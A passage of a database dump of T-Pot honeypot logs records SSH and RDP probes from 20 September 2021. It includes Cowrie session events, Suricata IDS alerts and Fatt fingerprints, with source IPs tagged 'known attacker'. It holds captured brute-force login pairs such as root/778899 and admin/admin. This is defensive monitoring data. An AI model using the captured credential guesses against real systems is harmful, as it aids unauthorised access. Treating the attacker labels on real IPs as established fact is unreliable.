"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33475	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:55:54.169667+03	2021-09-20 15:00:05.905723+03	{"_id": "IAYQA3wBvYTbRNuEB1A6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:53.836349+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 967043944399613, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63572, "dest_port": 3389, "timestamp": "2021-09-20T11:55:54.169667Z", "@timestamp": "2021-09-20T11:55:54.169Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33476	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:55:47.574453+03	2021-09-20 15:00:05.906723+03	{"_id": "BAYPA3wBvYTbRNuE7lB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "738b399597fc", "@version": "1", "timestamp": "2021-09-20T11:55:47.574453Z", "@timestamp": "2021-09-20T11:55:47.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33477	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:55:47.573808+03	2021-09-20 15:00:05.908722+03	{"_id": "CAYPA3wBvYTbRNuE8FDU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 59278, "dest_port": 22, "timestamp": "2021-09-20T11:55:47.573808", "@timestamp": "2021-09-20T11:55:47.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33478	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 14:55:48.673249+03	2021-09-20 15:00:05.909722+03	{"_id": "DwYPA3wBvYTbRNuE8lBo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "8f625caca81e", "@version": "1", "duration": 3.6819982528686523, "timestamp": "2021-09-20T11:55:48.673249Z", "@timestamp": "2021-09-20T11:55:48.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
33479	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:55:49.556961+03	2021-09-20 15:00:05.910722+03	{"_id": "EAYPA3wBvYTbRNuE9lBR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "738b399597fc", "@version": "1", "duration": 2.341571807861328, "timestamp": "2021-09-20T11:55:49.556961Z", "@timestamp": "2021-09-20T11:55:49.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33480	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:55:51.530751+03	2021-09-20 15:00:05.912723+03	{"_id": "FQYPA3wBvYTbRNuE_lAh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:42843 (192.168.176.2:22) [session: 5e0ca4ceb368]", "session": "5e0ca4ceb368", "@version": "1", "protocol": "ssh", "src_port": 42843, "dest_port": 22, "timestamp": "2021-09-20T11:55:51.530751Z", "@timestamp": "2021-09-20T11:55:51.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33482	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:55:53.226741+03	2021-09-20 15:00:05.914722+03	{"_id": "HQYQA3wBvYTbRNuEBVDx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/7788945] failed", "session": "5e0ca4ceb368", "@version": "1", "password": "7788945", "username": "root", "timestamp": "2021-09-20T11:55:53.226741Z", "@timestamp": "2021-09-20T11:55:53.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33483	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:55:54.267372+03	2021-09-20 15:00:05.915723+03	{"_id": "HgYQA3wBvYTbRNuEB1A6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:53.836349+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 967043944399613, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 63572, "timestamp": "2021-09-20T11:55:54.267372Z", "@timestamp": "2021-09-20T11:55:54.267Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
33484	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:55:54.586147+03	2021-09-20 15:00:05.917722+03	{"_id": "JQYQA3wBvYTbRNuEC1Aj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:53.836349+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 967043944399613, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63572, "dest_port": 3389, "timestamp": "2021-09-20T11:55:54.586147Z", "@timestamp": "2021-09-20T11:55:54.586Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33485	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:55:55.77451+03	2021-09-20 15:00:05.918723+03	{"_id": "JgYQA3wBvYTbRNuEDVDE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/789] failed", "session": "5e0ca4ceb368", "@version": "1", "password": "789", "username": "root", "timestamp": "2021-09-20T11:55:55.774510Z", "@timestamp": "2021-09-20T11:55:55.774Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33486	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:55:57.037712+03	2021-09-20 15:00:05.919722+03	{"_id": "KAYQA3wBvYTbRNuEEVCs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "5e0ca4ceb368", "@version": "1", "duration": 5.504411220550537, "timestamp": "2021-09-20T11:55:57.037712Z", "@timestamp": "2021-09-20T11:55:57.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33503	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:04.535777+03	2021-09-20 15:00:05.942721+03	{"_id": "OgYQA3wBvYTbRNuEMFDw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "60e8465f283a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:56:04.535777Z", "@timestamp": "2021-09-20T11:56:04.535Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33487	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:55:56.645623+03	2021-09-20 15:00:05.921722+03	{"_id": "KQYQA3wBvYTbRNuEElD0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:56.645623+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557431372279, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:55:56.645623Z", "@timestamp": "2021-09-20T11:55:56.645Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
33488	fe80:0000:0000:0000:d672:26ff:fe5f:c492	109.199.241.180	Suricata	2021-09-20 14:55:57.653813+03	2021-09-20 15:00:05.922722+03	{"_id": "KwYQA3wBvYTbRNuEFlDe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:57.653813+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:d672:26ff:fe5f:c492", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 698224089102837, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:55:57.653813Z", "@timestamp": "2021-09-20T11:55:57.653Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
33489	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:55:54.169667+03	2021-09-20 15:00:05.923721+03	{"_id": "HwYQA3wBvYTbRNuEB1A6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:53.836349+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 967043944399613, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63572, "dest_port": 3389, "timestamp": "2021-09-20T11:55:54.169667Z", "@timestamp": "2021-09-20T11:55:54.169Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33490	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:55:54.169667+03	2021-09-20 15:00:05.925722+03	{"_id": "IQYQA3wBvYTbRNuECFBI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 63572, "dest_port": 3389, "timestamp": "2021-09-20T11:55:54.169667", "@timestamp": "2021-09-20T11:55:54.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
33491	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:55:54.497398+03	2021-09-20 15:00:05.926722+03	{"_id": "IgYQA3wBvYTbRNuECVDb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/778899] failed", "session": "5e0ca4ceb368", "@version": "1", "password": "778899", "username": "root", "timestamp": "2021-09-20T11:55:54.497398Z", "@timestamp": "2021-09-20T11:55:54.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33492	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:55:54.586147+03	2021-09-20 15:00:05.927722+03	{"_id": "JAYQA3wBvYTbRNuEC1Aj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:53.836349+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 967043944399613, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63572, "dest_port": 3389, "timestamp": "2021-09-20T11:55:54.586147Z", "@timestamp": "2021-09-20T11:55:54.586Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33493	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 14:55:45.834811+03	2021-09-20 15:00:05.928722+03	{"_id": "9gYPA3wBvYTbRNuE5k-s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "8f625caca81e", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:55:45.834811Z", "@timestamp": "2021-09-20T11:55:45.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
33494	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:55:47.212729+03	2021-09-20 15:00:05.930723+03	{"_id": "BwYPA3wBvYTbRNuE7lB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:59278 (192.168.176.2:22) [session: 738b399597fc]", "session": "738b399597fc", "@version": "1", "protocol": "ssh", "src_port": 59278, "dest_port": 22, "timestamp": "2021-09-20T11:55:47.212729Z", "@timestamp": "2021-09-20T11:55:47.212Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
